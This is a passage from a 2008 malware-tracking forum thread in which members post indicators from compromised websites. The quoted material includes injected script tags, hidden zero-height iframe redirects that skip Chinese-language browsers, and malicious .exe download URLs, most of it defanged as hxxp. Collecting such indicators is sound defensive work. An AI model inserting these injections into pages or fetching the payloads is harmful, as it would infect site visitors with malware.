Author Topic: just collection(about 0.js, 1.js, ip.js)  (Read 18356 times)

0 Members and 1 Guest are viewing this topic.

May 12, 2008, 02:04:04 am
Reply #15

sowhat-x

  • Guest
He-he,seems to me like we drown in a glass of water...
and it turned out to be way simpler...thanks pcaccent  :D

May 12, 2008, 06:04:17 am
Reply #16

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
suspicious

Quote
<script src=http://www.wowgm1.cn/m.js></script>
     if (navigator.systemLanguage=='zh-cn'){}
     else{document.writeln("<iframe src=hxxp://www.ririwow.cn/index.htm width=100 height=0></iframe>");}

May 12, 2008, 11:30:26 am
Reply #17

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
<script src=hxxp://www.killwow1.cn/g.js></script>
      if (navigator.systemLanguage=='zh-cn'){}
      else{
      document.writeln("<iframe src=hxxp://www.killwow1.cn/cc/index.htm width="100" height="0"></iframe> ");
      }
            hxxp://www.qiuxuewow.cn/wow.exe

May 12, 2008, 09:19:55 pm
Reply #18

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
Thank you.

www.wowyeye.cn/m.js

May 13, 2008, 11:55:48 pm
Reply #19

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
search yahoo.com

1. <script src=hxxp://vb008.cn/q.js></script> // closed


2. <script src=hxxp://chanm.cn/a.js></script>  // only china
    <script src=hxxp://sq1l.cn></script>  // only china
Quote
document.write("<iframe src=hxxp://www.too121.cn/61.htm width=0 height=0></iframe>");


3. <script src=hxxp://heartgames.cn/a.js></script>
    <script src=hxxp://heartgames.cn/1.js></script>
Quote
<script src=hxxp://www.ririwow.cn/jp.js></script>


4. hxxp://www.wowgm2.cn/m.js
Quote
if (navigator.systemLanguage=='zh-cn'){}
else{
document.writeln("<iframe src=hxxp://www.wowyeye.cn/index.htm width=100 height=0></iframe>");
}


=-==========================================
War of the worlds?
http://isc.sans.org/diary.html?storyid=4418

1. http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg2987#msg2987 : fu... cnn...
2. http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3016#msg3016 : if (navigator.systemLanguage=='zh-cn'){}else{document......
   http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3071#msg3071
   http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3075#msg3075

May 14, 2008, 01:51:49 pm
Reply #20

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
></title><script src=http://s.see9.us/s.js></script>

document.writeln("<IFRaME src=\"hxxp://b.kaobt.cn/img/hei.htm\" width=1 height=1><\/IFRAME>");

IFRaME src=\"hxxp://b.kaobt.cn/img/hei.htm\" width=1 height=1
iframe width=50 height=0 src=hxxp://b.kaobt.cn/14.htm
iframe width=100 height=0 src=hxxp://b.kaobt.cn/real11.htm
iframe style=display:none src=hxxp://b.kaobt.cn/lz.htm
iframe style=display:none src=hxxp://b.kaobt.cn/bfyy.htm
iframe width=50 height=0 src=xl.htm

hxxp://ccc.52gol.com/xx.exe

I don't know who made this script. but i think that he is genious!

May 14, 2008, 08:48:34 pm
Reply #21

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 15, 2008, 10:44:11 pm
Reply #22

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
<script src=hxxp://www.qiqi111.cn/m.js></script>
<script src=hxxp://www.wow112.cn/m.js></script>
<script src=hxxp://www.adword71.com/b.js></script>

May 15, 2008, 11:17:56 pm
Reply #23

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
suspicious....

Quote
<script src=hxxp://www.banner82.com/b.js></script>
      hxxp://banner82.com/cgi-bin/index.cgi?ad

May 15, 2008, 11:31:55 pm
Reply #24

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 17, 2008, 03:41:16 am
Reply #25

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
suspicious site

Quote
<script src=hxxp://www.117275.cn/g.js></script>
<script src=hxxp://free.edivid.info/free.js></script>
<script src=hxxp://www.117275.cn/g.js></script>
<script src=hxxp://www.qiqigm.com/m.js></script>
<script src=hxxp://x.xxcnzz.cn/x.js></script>

May 17, 2008, 06:01:17 pm
Reply #26

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 23, 2008, 12:01:53 am
Reply #27

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
[/glow]suspicious sites
.
<script src=hxxp://www.killpp.cn/m.js></script>
.
0.js
<script src="hxxp://bc0.cn/1.js"></script>
.
1.js
<script src=hxxp://www.nihaoel3.com/1.js></script>
<script src=hxxp://17ge.cn/1.js></script>
<script src="hxxp://newasp.com.cn/1.js"></script>
<script src=hxxp://okey123.cn/1.js></script>
<script src="hxxp://smeisp.cn/images/163.js"></script>
<script src=hxxp://sb.5252.ws:88/107/1.js>
.
m.js
<script src=hxxp://www.dota11.cn/m.js></script>
<script src=hxxp://www.qiuxuegm.com/m.js></script>
.
g.js
<script src=hxxp://www.nihao112.com/g.js></script>

May 23, 2008, 05:02:48 pm
Reply #28

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 26, 2008, 12:55:38 am
Reply #29

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
<script src=hxxp://www.chliyi.com/m.js></script>
   -> hxxp://www.jj120.net/inc/fuckkr.exe

<script src=hxxp://www.adw95.com/b.js></script>